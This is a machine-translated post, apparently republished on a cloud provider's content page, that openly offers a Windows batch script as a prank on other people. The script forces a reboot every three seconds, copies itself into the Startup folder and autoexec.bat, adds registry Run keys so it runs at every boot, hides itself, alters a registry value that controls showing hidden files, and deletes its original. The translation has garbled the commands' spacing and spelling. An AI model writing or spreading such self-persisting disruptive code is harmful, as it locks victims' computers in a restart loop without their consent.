Batch processing that can be restarted repeatedly

Source: Internet
Author: User

I'm sending you a few things, ''''. When you're bored, you can play with others.

The batch processing of repeated restarts, as the name implies, is to let others start, restart, and repeat all the time.Code

@ Echo off
Shutdown-R-T 3
Copy % 0 C: \ Documents ents "" and "" Settings \ All "" Users \ "start" Menu \Program\ Start \ A. bat
Copy % 0 C: \ autoexec. bat
Reg add HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run/V autoexec. BAT/T REG_SZ/d c: \ autoexec. BAT/F
Reg add HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run/V autoexec. BAT/T REG_SZ/d c: \ autoexec. BAT/F
Attrib autoexec. Bat + R + S + H
Reg add HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \ Folder \ Hidden \ showall/V checkedvalue/T REG_DWORD/d 00000000/F
Del % 0

3 seconds to restart. After the startup Item is added, it will take 3 seconds to countdown. Hey, if you don't want to restart, you can go to safe mode or ghost. I have no other options.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.